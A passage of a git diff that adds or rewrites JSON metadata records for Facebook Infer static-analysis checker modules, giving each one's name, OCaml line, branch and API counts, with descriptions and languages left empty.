"example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 865, + "branches": 99, + "apis": 231, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunTrace.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunTrace.json new file mode 100644 index 0000000..fef6edd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunTrace.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunTrace", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 226, + "branches": 30, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunTypModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunTypModels.json new file mode 100644 index 0000000..c6ec0d0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunTypModels.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunTypModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 27, + "branches": 1, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunUtils.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunUtils.json new file mode 100644 index 0000000..d7d3767 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunUtils.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunUtils", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 389, + "branches": 37, + "apis": 47, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/ints.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/ints.json new file mode 100644 index 0000000..2bcb82f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/ints.json @@ -0,0 +1,13 @@ +{ + "name": "ints", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 68, + "branches": 6, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/itv.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/itv.json new file mode 100644 index 0000000..a98d367 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/itv.json @@ -0,0 +1,13 @@ +{ + "name": "itv", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 534, + "branches": 89, + "apis": 145, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/polynomials.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/polynomials.json new file mode 100644 index 0000000..16d9983 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/polynomials.json @@ -0,0 +1,13 @@ +{ + "name": "polynomials", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 649, + "branches": 86, + "apis": 132, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/symb.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/symb.json new file mode 100644 index 0000000..5de9168 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/symb.json @@ -0,0 +1,13 @@ +{ + "name": "symb", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 261, + "branches": 50, + "apis": 73, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/AnnotationReachability.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/AnnotationReachability.json index cf36e79..74a29d2 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/AnnotationReachability.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/AnnotationReachability.json @@ -1,11 +1,7 @@ { - "name": "AnnotationReachability", - "language": [ - "clang", - "java", - "erlang" - ], - "description": "Given pairs of source and sink annotations, e.g. `@A` and `@B`, this checker will warn \\\n whenever some method annotated with `@A` calls, directly or indirectly, another method \\\n annotated with `@B`. Besides the custom pairs, it is also possible to enable some \\\n built-in checks, such as `@PerformanceCritical` reaching `@Expensive` or \\\n `@NoAllocation` reaching `new`. It is also possible to model methods as if they were \\\n annotated, using regular expressions. This should also work in languages where there \\\n are no annotations. See flags starting with `--annotation-reachability`.", + "name": "annotationReachability", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ComputeCapturedInfo.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ComputeCapturedInfo.json new file mode 100644 index 0000000..44be3a5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ComputeCapturedInfo.json @@ -0,0 +1,13 @@ +{ + "name": "ComputeCapturedInfo", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 341, + "branches": 26, + "apis": 67, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/DisjunctiveDemo.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/DisjunctiveDemo.json index 6c0d6fa..87ea3fb 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/DisjunctiveDemo.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/DisjunctiveDemo.json @@ -1,9 +1,7 @@ { "name": "DisjunctiveDemo", - "language": [ - "clang" - ], - "description": "Demo of the disjunctive domain, used for testing.", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ExternalConfigImpactData.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ExternalConfigImpactData.json new file mode 100644 index 0000000..b0e5767 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ExternalConfigImpactData.json @@ -0,0 +1,13 @@ +{ + "name": "ExternalConfigImpactData", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 39, + "branches": 1, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Impurity.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Impurity.json index 3b4d156..db0b664 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Impurity.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Impurity.json @@ -1,11 +1,7 @@ { - "name": "Impurity", - "language": [ - "clang", - "java", - "hack" - ], - "description": "Detects functions with potential side-effects. Same as \\", + "name": "impurity", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/InefficientKeysetIterator.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/InefficientKeysetIterator.json index a49ea8d..e2e2c53 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/InefficientKeysetIterator.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/InefficientKeysetIterator.json @@ -1,9 +1,7 @@ { - "name": "InefficientKeysetIterator", - "language": [ - "java" - ], - "description": "Check for inefficient uses of iterators that iterate on keys then lookup their values, \\\n instead of iterating on key-value pairs directly.", + "name": "inefficientKeysetIterator", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Lineage.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Lineage.json index a34e041..39b000f 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Lineage.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Lineage.json @@ -1,9 +1,7 @@ { "name": "Lineage", - "language": [ - "erlang" - ], - "description": "Computes a dataflow graph", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageBase.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageBase.json new file mode 100644 index 0000000..38260d8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageBase.json @@ -0,0 +1,13 @@ +{ + "name": "LineageBase", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 25, + "branches": 2, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageShape.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageShape.json index 6510f2c..17ebcf6 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageShape.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LineageShape.json @@ -1,9 +1,7 @@ { "name": "LineageShape", - "language": [ - "erlang" - ], - "description": "Computes shape informations to be used in the Lineage analysis", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LithoDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LithoDomain.json new file mode 100644 index 0000000..d9ecedb --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/LithoDomain.json @@ -0,0 +1,13 @@ +{ + "name": "LithoDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 414, + "branches": 31, + "apis": 69, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Liveness.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Liveness.json index 7c24f84..1995c6f 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Liveness.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/Liveness.json @@ -1,9 +1,7 @@ { - "name": "Liveness", - "language": [ - "clang" - ], - "description": "Detection of dead stores and unused variables.", + "name": "liveness", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ParameterNotNullChecked.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ParameterNotNullChecked.json index cef2e8c..a05f76f 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ParameterNotNullChecked.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ParameterNotNullChecked.json @@ -1,9 +1,7 @@ { "name": "ParameterNotNullChecked", - "language": [ - "clang" - ], - "description": "An Objective-C-specific analysis to detect when a block parameter is used before being \\\n checked for null first.", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityAnalysis.json index fb1e329..f3b09f7 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityAnalysis.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityAnalysis.json @@ -1,10 +1,7 @@ { "name": "PurityAnalysis", - "language": [ - "clang", - "java" - ], - "description": "Internal part of the purity checker.", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityChecker.json index 6249d43..9a12304 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityChecker.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/PurityChecker.json @@ -1,10 +1,7 @@ { "name": "PurityChecker", - "language": [ - "clang", - "java" - ], - "description": "Detects pure (side-effect-free) functions. A different implementation of \\", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/RequiredProps.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/RequiredProps.json new file mode 100644 index 0000000..a0408bd --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/RequiredProps.json @@ -0,0 +1,13 @@ +{ + "name": "RequiredProps", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 288, + "branches": 33, + "apis": 66, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SILValidation.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SILValidation.json index 31176cc..675db05 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SILValidation.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SILValidation.json @@ -1,9 +1,7 @@ { - "name": "SILValidation", - "language": [ - "java" - ], - "description": "This checker validates that all SIL instructions in all procedure bodies conform to a \\\n (front-end specific) subset of SIL.", + "name": "SilValidation", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SIOF.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SIOF.json index 5243677..6a0c55b 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SIOF.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SIOF.json @@ -1,9 +1,7 @@ { - "name": "SIOF", - "language": [ - "clang" - ], - "description": "Catches Static Initialization Order Fiascos in C++, that can lead to subtle, \\\n compiler-version-dependent errors.", + "name": "Siof", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ScopeLeakage.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ScopeLeakage.json index a1e714d..1e8da6a 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ScopeLeakage.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/ScopeLeakage.json @@ -1,9 +1,7 @@ { - "name": "ScopeLeakage", - "language": [ - "java" - ], - "description": "The Java/Kotlin checker takes into account a set of \\", + "name": "scopeLeakage", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SelfInBlock.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SelfInBlock.json index c1af2a0..8dd06b8 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SelfInBlock.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SelfInBlock.json @@ -1,9 +1,7 @@ { "name": "SelfInBlock", - "language": [ - "clang" - ], - "description": "An Objective-C-specific analysis to detect when a block captures `self`.", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SiofDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SiofDomain.json new file mode 100644 index 0000000..be3a8c5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SiofDomain.json @@ -0,0 +1,13 @@ +{ + "name": "SiofDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 12, + "branches": 0, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SiofTrace.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SiofTrace.json new file mode 100644 index 0000000..229b832 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/SiofTrace.json @@ -0,0 +1,13 @@ +{ + "name": "SiofTrace", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 51, + "branches": 3, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/StaticConstructorStallChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/StaticConstructorStallChecker.json index 606424e..0f18151 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/StaticConstructorStallChecker.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/StaticConstructorStallChecker.json @@ -1,9 +1,7 @@ { "name": "StaticConstructorStallChecker", - "language": [ - "clang" - ], - "description": "Detect if dispatch_once is called from a static constructor.", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/addressTaken.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/addressTaken.json new file mode 100644 index 0000000..7e4fd44 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/addressTaken.json @@ -0,0 +1,13 @@ +{ + "name": "addressTaken", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 43, + "branches": 3, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/annotationReachabilityDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/annotationReachabilityDomain.json new file mode 100644 index 0000000..45379e2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/annotationReachabilityDomain.json @@ -0,0 +1,13 @@ +{ + "name": "annotationReachabilityDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 22, + "branches": 1, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/control.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/control.json new file mode 100644 index 0000000..b025227 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/control.json @@ -0,0 +1,13 @@ +{ + "name": "control", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 174, + "branches": 17, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/dominators.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/dominators.json new file mode 100644 index 0000000..0e69a93 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/dominators.json @@ -0,0 +1,13 @@ +{ + "name": "dominators", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 29, + "branches": 1, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/fragmentRetainsViewChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/fragmentRetainsViewChecker.json new file mode 100644 index 0000000..e02d5b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/fragmentRetainsViewChecker.json @@ -0,0 +1,13 @@ +{ + "name": "fragmentRetainsViewChecker", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 93, + "branches": 13, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/impurityDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/impurityDomain.json new file mode 100644 index 0000000..96c5e32 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/impurityDomain.json @@ -0,0 +1,13 @@ +{ + "name": "impurityDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 98, + "branches": 6, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/loopInvariant.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/loopInvariant.json new file mode 100644 index 0000000..4072c93 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/loopInvariant.json @@ -0,0 +1,13 @@ +{ + "name": "loopInvariant", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 267, + "branches": 38, + "apis": 67, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/loop_control.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/loop_control.json new file mode 100644 index 0000000..ceb662d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/loop_control.json @@ -0,0 +1,13 @@ +{ + "name": "loop_control", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 93, + "branches": 3, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/purityDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/purityDomain.json new file mode 100644 index 0000000..eaf9bbf --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/purityDomain.json @@ -0,0 +1,13 @@ +{ + "name": "purityDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 27, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/purityModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/purityModels.json new file mode 100644 index 0000000..9d5445a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/purityModels.json @@ -0,0 +1,13 @@ +{ + "name": "purityModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 43, + "branches": 0, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/reachingDefs.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/reachingDefs.json new file mode 100644 index 0000000..4f787d5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/checkers/reachingDefs.json @@ -0,0 +1,13 @@ +{ + "name": "reachingDefs", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 60, + "branches": 5, + "apis": 23, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CAddImplicitDeallocImpl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CAddImplicitDeallocImpl.json new file mode 100644 index 0000000..7651f0f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CAddImplicitDeallocImpl.json @@ -0,0 +1,13 @@ +{ + "name": "CAddImplicitDeallocImpl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 166, + "branches": 6, + "apis": 39, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CAddImplicitGettersSetters.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CAddImplicitGettersSetters.json new file mode 100644 index 0000000..f4d463b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CAddImplicitGettersSetters.json @@ -0,0 +1,13 @@ +{ + "name": "CAddImplicitGettersSetters", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 101, + "branches": 6, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CMethodProperties.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CMethodProperties.json new file mode 100644 index 0000000..ea7d6ff --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CMethodProperties.json @@ -0,0 +1,13 @@ +{ + "name": "CMethodProperties", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 227, + "branches": 26, + "apis": 71, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CMockPointerSubst.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CMockPointerSubst.json new file mode 100644 index 0000000..24500c0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CMockPointerSubst.json @@ -0,0 +1,13 @@ +{ + "name": "CMockPointerSubst", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 62, + "branches": 9, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CReplaceDynamicDispatch.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CReplaceDynamicDispatch.json new file mode 100644 index 0000000..fb20bee --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CReplaceDynamicDispatch.json @@ -0,0 +1,13 @@ +{ + "name": "CReplaceDynamicDispatch", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 104, + "branches": 12, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CStructUtils.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CStructUtils.json new file mode 100644 index 0000000..2f9fb73 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CStructUtils.json @@ -0,0 +1,13 @@ +{ + "name": "CStructUtils", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 24, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CType.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CType.json new file mode 100644 index 0000000..6efc4d9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CType.json @@ -0,0 +1,13 @@ +{ + "name": "CType", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 70, + "branches": 7, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CType_decl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CType_decl.json new file mode 100644 index 0000000..a2359d9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CType_decl.json @@ -0,0 +1,13 @@ +{ + "name": "CType_decl", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 653, + "branches": 63, + "apis": 120, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CViewControllerLifecycle.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CViewControllerLifecycle.json new file mode 100644 index 0000000..0ffe515 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/CViewControllerLifecycle.json @@ -0,0 +1,13 @@ +{ + "name": "CViewControllerLifecycle", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 66, + "branches": 6, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/Capture.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/Capture.json new file mode 100644 index 0000000..ef0e750 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/clang/Capture.json @@ 